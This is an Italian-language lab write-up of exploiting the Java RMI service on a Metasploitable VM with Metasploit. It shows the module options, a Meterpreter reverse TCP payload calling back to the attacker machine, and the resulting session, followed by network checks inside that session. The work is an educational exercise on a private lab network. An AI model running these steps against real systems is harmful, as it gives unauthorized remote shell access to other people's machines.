

```

TX packets:111 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:22901 (22.3 KB) TX bytes:22901 (22.3 KB)

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:62:d3:01
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe62:d301/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:32028 errors:0 dropped:0 overruns:0 frame:0
          TX packets:88 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2065565 (1.9 MB) TX bytes:9754 (9.5 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:323 errors:0 dropped:0 overruns:0 frame:0
          TX packets:323 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0

```

comando if config su metasploite per accertarsi di aver inserito il giusto indirizzo ip
 subnet mask
 gateway


```
target:
time
eneric (Java Payload)

full module info with the info, or info -d command.

oit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
192.168.11.112
oit(multi/misc/java_rmi_server) > show options

ptions (exploit/multi/misc/java_rmi_server):


| Current Setting | Required | Description                                                                                                                                                                                         |
|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
|                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
|                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



ptions (java/meterpreter/reverse_tcp):


| Current Setting | Required | Description                                        |
|-----------------|----------|----------------------------------------------------|
| 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| 4444            | yes      | The listen port                                    |



target:
time
eneric (Java Payload)

full module info with the info, or info -d command.

oit(multi/misc/java_rmi_server) > run
```

qua siamo andati a controllare se RHOST e inserito tramite show options se così non fosse usiamo set6 RHOST e poi indirizzo ip della macchina da attaccare e poi si fa run

```
Started Reverse TCP handler on 192.168.11.111:4444
192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/ibBSy1Q8gI8Kob
192.168.11.112:1099 - Server started.
192.168.11.112:1099 - Sending RMI Header...
192.168.11.112:1099 - Sending RMI Call...
192.168.11.112:1099 - Replied to request for payload JAR
Sending stage (57971 bytes) to 192.168.11.112
Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:51611) at 2024-11-15 06:47:20 -0500
```

```
rpmpreter > ifconfig
```

```
Interface 1
```

```
Hardware MAC : lo - lo
Address : 127.0.0.1
Netmask : 255.0.0.0
Address : ::1
Netmask : ::
```

```
Interface 2
```

```
Hardware MAC : eth0 - eth0
Address : 192.168.11.112
Netmask : 255.255.255.0
Address : fe80::a00:27ff:fe62:d301
Netmask : ::
```

```
rpmpreter > route
```

```
network routes
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
network routes
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe62:d301	::	::		

```
rpmpreter >
```

alla fine ho eseguito un check con ifconfig per veddere se ero connesso alla macchina da attaccare